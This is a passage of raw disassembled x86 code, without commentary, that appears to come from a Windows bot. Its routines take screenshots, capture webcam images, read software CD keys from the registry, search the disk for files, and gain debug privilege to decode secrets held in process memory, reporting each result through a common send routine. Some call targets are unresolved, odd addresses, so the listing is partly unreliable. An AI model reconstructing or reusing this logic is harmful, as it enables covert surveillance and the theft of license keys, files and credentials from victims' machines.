		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_43ADDC
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4087D7
		push	eax
		push	[ebp+var_4]
		call	dword_43AC74
		cmp	eax, esi
		jz	loc_4087D7
		cmp	eax, 0FFFFFFFFh
		jz	loc_4087D7
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_43ADE0
		test	eax, eax
		jz	loc_4087D7
		cmp	ebx, esi
		jz	short loc_4086D4
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_43ACC8
		mov	ebx, eax

loc_4086D4:				; CODE XREF: sub_4085B3+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		nop
		call	near ptr 2650000h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4087B7
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 2640000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		cmp	ebx, esi
		jz	short loc_408799
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h

loc_408799:				; CODE XREF: sub_4085B3+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		push	[ebp+arg_0]
		call	near ptr 26319EBh
		nop
		push	1
		pop	esi

loc_4087B7:				; CODE XREF: sub_4085B3+1A2j
		push	[ebp+var_1C]
		call	dword_43ACFC
		push	[ebp+var_4]
		call	dword_43AC60
		mov	edi, [ebp+var_20]

loc_4087CC:				; CODE XREF: sub_4085B3+70j
		push	edi
		call	dword_43AC60
		mov	eax, esi
		jmp	short loc_4087E9
; ---------------------------------------------------------------------------

loc_4087D7:				; CODE XREF: sub_4085B3+C7j
					; sub_4085B3+D9j ...
		push	edi
		call	dword_43AC60
		push	[ebp+var_4]
		call	dword_43AC60

loc_4087E7:				; CODE XREF: sub_4085B3+23j
		xor	eax, eax

loc_4087E9:				; CODE XREF: sub_4085B3+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4085B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087EE	proc near		; CODE XREF: sub_40EE72+46EBp

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_439830
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43ACF0
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_40882C
		mov	eax, esi
		jmp	loc_4089E2
; ---------------------------------------------------------------------------

loc_40882C:				; CODE XREF: sub_4087EE+35j
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408849
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43ADF4
		jmp	short loc_40884B
; ---------------------------------------------------------------------------

loc_408849:				; CODE XREF: sub_4087EE+47j
		xor	eax, eax

loc_40884B:				; CODE XREF: sub_4087EE+59j
		cmp	eax, ebx
		jnz	short loc_408856

loc_40884F:				; CODE XREF: sub_4087EE+88j
					; sub_4087EE+BCj
		mov	ebx, esi
		jmp	loc_4089D7
; ---------------------------------------------------------------------------

loc_408856:				; CODE XREF: sub_4087EE+5Fj
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408873
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43ADF4

loc_408873:				; CODE XREF: sub_4087EE+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_40884F
		push	edi
		call	dword_43AD38
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_408899
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_43ADF4
		mov	[ebp+arg_4], eax
		jmp	short loc_40889C
; ---------------------------------------------------------------------------

loc_408899:				; CODE XREF: sub_4087EE+98j
		mov	[ebp+arg_4], ebx

loc_40889C:				; CODE XREF: sub_4087EE+A9j
		push	[ebp+arg_4]
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_40884F
		push	[ebp+arg_4]
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4088C3
		push	1
		pop	ebx
		jmp	loc_4089D7
; ---------------------------------------------------------------------------

loc_4088C3:				; CODE XREF: sub_4087EE+CBj
		push	[ebp+var_4]
		call	dword_43AD38
		test	eax, eax
		jz	short loc_4088E0
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43ADF4

loc_4088E0:				; CODE XREF: sub_4087EE+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_417390
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4088FB
		mov	ecx, 280h

loc_4088FB:				; CODE XREF: sub_4087EE+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_408907
		mov	eax, 1E0h

loc_408907:				; CODE XREF: sub_4087EE+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_43AD38
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_408951
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43ADF4

loc_408951:				; CODE XREF: sub_4087EE+153j
		push	[ebp+var_4]
		call	dword_43AD38
		test	eax, eax
		jz	short loc_40896E
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_43ADF4

loc_40896E:				; CODE XREF: sub_4087EE+16Ej
		push	[ebp+var_4]
		call	dword_43AD38
		test	eax, eax
		jz	short loc_40898D
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_43ADF4

loc_40898D:				; CODE XREF: sub_4087EE+18Bj
		push	[ebp+var_4]
		call	dword_43AD38
		test	eax, eax
		jz	short loc_4089AA
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43ADF4

loc_4089AA:				; CODE XREF: sub_4087EE+1AAj
		push	[ebp+var_8]
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AD38
		test	eax, eax
		jz	short loc_4089D7
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_43ADF4

loc_4089D7:				; CODE XREF: sub_4087EE+63j
					; sub_4087EE+D0j ...
		push	[ebp+var_4]
		call	dword_43AE48
		mov	eax, ebx

loc_4089E2:				; CODE XREF: sub_4087EE+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4087EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4089E7	proc near		; CODE XREF: sub_40EE72+47A4p

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_439830
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43ACF0
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_408A25
		mov	eax, esi
		jmp	loc_408C21
; ---------------------------------------------------------------------------

loc_408A25:				; CODE XREF: sub_4089E7+35j
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408A42
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43ADF4
		jmp	short loc_408A44
; ---------------------------------------------------------------------------

loc_408A42:				; CODE XREF: sub_4089E7+47j
		xor	eax, eax

loc_408A44:				; CODE XREF: sub_4089E7+59j
		cmp	eax, ebx
		jnz	short loc_408A4F

loc_408A48:				; CODE XREF: sub_4089E7+8Bj
					; sub_4089E7+BCj
		mov	ebx, esi
		jmp	loc_408C18
; ---------------------------------------------------------------------------

loc_408A4F:				; CODE XREF: sub_4089E7+5Fj
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408A6F
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43ADF4

loc_408A6F:				; CODE XREF: sub_4089E7+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_408A48
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408A92
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_43ADF4
		mov	[ebp+arg_4], eax
		jmp	short loc_408A95
; ---------------------------------------------------------------------------

loc_408A92:				; CODE XREF: sub_4089E7+96j
		mov	[ebp+arg_4], ebx

loc_408A95:				; CODE XREF: sub_4089E7+A9j
		push	[ebp+arg_4]
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_408A48
		push	[ebp+arg_4]
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_408ABC
		push	1
		pop	ebx
		jmp	loc_408C18
; ---------------------------------------------------------------------------

loc_408ABC:				; CODE XREF: sub_4089E7+CBj
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408AD9
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_43ADF4

loc_408AD9:				; CODE XREF: sub_4089E7+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_417390
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_408AF4
		mov	ecx, 0A0h

loc_408AF4:				; CODE XREF: sub_4089E7+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_408AFE
		push	78h
		pop	eax

loc_408AFE:				; CODE XREF: sub_4089E7+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408B43
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_43ADF4

loc_408B43:				; CODE XREF: sub_4089E7+14Aj
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408B60
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_43ADF4

loc_408B60:				; CODE XREF: sub_4089E7+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408B9E
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_43ADF4

loc_408B9E:				; CODE XREF: sub_4089E7+1A3j
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408BB9
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_43ADF4

loc_408BB9:				; CODE XREF: sub_4089E7+1C0j
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408BD2
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_43ADF4

loc_408BD2:				; CODE XREF: sub_4089E7+1DBj
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408BEF
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_43ADF4

loc_408BEF:				; CODE XREF: sub_4089E7+1F4j
		push	[ebp+var_4]
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408C18
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_43ADF4

loc_408C18:				; CODE XREF: sub_4089E7+63j
					; sub_4089E7+D0j ...
		push	edi
		call	dword_43AE48
		mov	eax, ebx

loc_408C21:				; CODE XREF: sub_4089E7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4089E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C26	proc near		; CODE XREF: sub_40EE72+588Bp

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_42B894, ebx
		mov	[ebp+var_C], 80h
		jz	loc_408DC7
		push	esi
		push	edi
		mov	eax, offset off_42B894
		mov	esi, offset dword_42B8A0
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."

loc_408C56:				; CODE XREF: sub_408C26+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_43AE08
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_43ACA4
		test	eax, eax
		jnz	loc_408DAD
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_408D71
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_4179A8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_408DAD
		push	eax

loc_408CCF:				; CODE XREF: sub_408C26+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41900C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408D66
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408CFC
		push	[ebp+var_8]
		jmp	short loc_408CCF
; ---------------------------------------------------------------------------

loc_408CFC:				; CODE XREF: sub_408C26+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_418F50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408D2A
		lea	eax, [ebp+var_70]
		push	offset asc_42CA98 ; "="
		push	eax
		call	sub_418B6E
		push	offset asc_42CA98 ; "="
		push	ebx
		call	sub_418B6E
		add	esp, 10h
		jmp	short loc_408D2D
; ---------------------------------------------------------------------------

loc_408D2A:				; CODE XREF: sub_408C26+E4j
		lea	eax, [ebp+var_70]

loc_408D2D:				; CODE XREF: sub_408C26+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6D
		add	esp, 18h

loc_408D66:				; CODE XREF: sub_408C26+B9j
		push	[ebp+var_8]
		call	sub_417900
		pop	ecx
		jmp	short loc_408DAD
; ---------------------------------------------------------------------------

loc_408D71:				; CODE XREF: sub_408C26+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6D
		add	esp, 28h

loc_408DAD:				; CODE XREF: sub_408C26+60j
					; sub_408C26+A2j ...
		push	[ebp+var_4]
		call	dword_43AD74
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_408C56
		pop	edi
		pop	esi

loc_408DC7:				; CODE XREF: sub_408C26+19j
		pop	ebx
		leave
		retn
sub_408C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408DCA	proc near		; DATA XREF: sub_40EE72+3D60o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AB0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_408E1F
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AB0
		pop	ecx
		mov	[ebp+eax+var_115], bl

loc_408E1F:				; CODE XREF: sub_408DCA+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_42CAEC
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408E64
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D679
		add	esp, 14h

loc_408E64:				; CODE XREF: sub_408DCA+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_408EE5
		add	esp, 18h
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_42CABC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_408EC5
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D679
		add	esp, 14h

loc_408EC5:				; CODE XREF: sub_408DCA+D9j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D3h
		pop	edi
		pop	esi
		pop	ebx
sub_408DCA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408EE5	proc near		; CODE XREF: sub_408DCA+B9p
					; sub_408EE5+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_3	; "%s\\*"
		push	esi
		push	eax
		call	sub_41782A
		mov	edi, dword_4240BC
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_408FA2

loc_408F31:				; CODE XREF: sub_408EE5+BBj
		test	[ebp+var_144], 10h
		jz	short loc_408F8E
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_408F55
		cmp	[ebp+var_117], 0
		jz	short loc_408F8E
		cmp	[ebp+var_117], 2Eh
		jz	short loc_408F8E

loc_408F55:				; CODE XREF: sub_408EE5+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41782A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EE5
		add	esp, 2Ch
		mov	[ebp+arg_14], eax

loc_408F8E:				; CODE XREF: sub_408EE5+53j
					; sub_408EE5+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		nop
		call	near ptr 26B0000h
		test	eax, eax
		jnz	short loc_408F31

loc_408FA2:				; CODE XREF: sub_408EE5+4Aj
		push	[ebp+var_4]
		nop
		call	near ptr 2690114h
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_409028

loc_408FD9:				; CODE XREF: sub_408EE5+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_41782A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		nop
		call	near ptr 26B0000h
		test	eax, eax
		jnz	short loc_408FD9

loc_409028:				; CODE XREF: sub_408EE5+F2j
		push	esi
		nop
		call	near ptr 2690114h
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408EE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409037	proc near		; DATA XREF: sub_40EE72+5237o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_40B78A
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_409076
		cmp	eax, 2
		jz	short loc_409076
		push	offset unk_42CD60
		jmp	loc_4091B5
; ---------------------------------------------------------------------------

loc_409076:				; CODE XREF: sub_409037+2Ej
					; sub_409037+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091B0
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 2700000h
		mov	esi, dword_4240DC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_43AA44, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_43AA38, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_43AC48, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_43AA40, eax
		call	esi
		mov	dword_43AA3C, eax
		call	sub_409209
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_409183
		mov	esi, dword_4240D8
		mov	edi, 400h
		mov	ebx, offset dword_439A38
		push	edi
		push	ebx
		push	offset off_42CC9C
		call	esi
		push	edi
		mov	edi, offset dword_43A238
		push	edi
		push	offset off_42CC84
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_43AC50
		push	[ebp+arg_0]
		jnz	short loc_40912F
		call	sub_409392
		jmp	short loc_409134
; ---------------------------------------------------------------------------

loc_40912F:				; CODE XREF: sub_409037+EFj
		call	sub_409539

loc_409134:				; CODE XREF: sub_409037+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40917C
		cmp	dword_43AC50, 0
		jnz	short loc_409163
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_42CC0C
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		jmp	short loc_409196
; ---------------------------------------------------------------------------

loc_409163:				; CODE XREF: sub_409037+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_409173
		call	sub_40966F
		jmp	short loc_409178
; ---------------------------------------------------------------------------

loc_409173:				; CODE XREF: sub_409037+133j
		call	sub_409706

loc_409178:				; CODE XREF: sub_409037+13Aj
		pop	ecx
		push	eax
		jmp	short loc_409188
; ---------------------------------------------------------------------------

loc_40917C:				; CODE XREF: sub_409037+101j
		push	offset unk_42CBC4
		jmp	short loc_409188
; ---------------------------------------------------------------------------

loc_409183:				; CODE XREF: sub_409037+B6j
		push	offset unk_42CB80

loc_409188:				; CODE XREF: sub_409037+143j
					; sub_409037+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_409196:				; CODE XREF: sub_409037+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 26E0742h
		pop	ebx
		jmp	short loc_4091C3
; ---------------------------------------------------------------------------

loc_4091B0:				; CODE XREF: sub_409037+4Ej
		push	offset unk_42CB3C

loc_4091B5:				; CODE XREF: sub_409037+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4091C3:				; CODE XREF: sub_409037+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4091EA
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_40D679
		add	esp, 14h

loc_4091EA:				; CODE XREF: sub_409037+191j
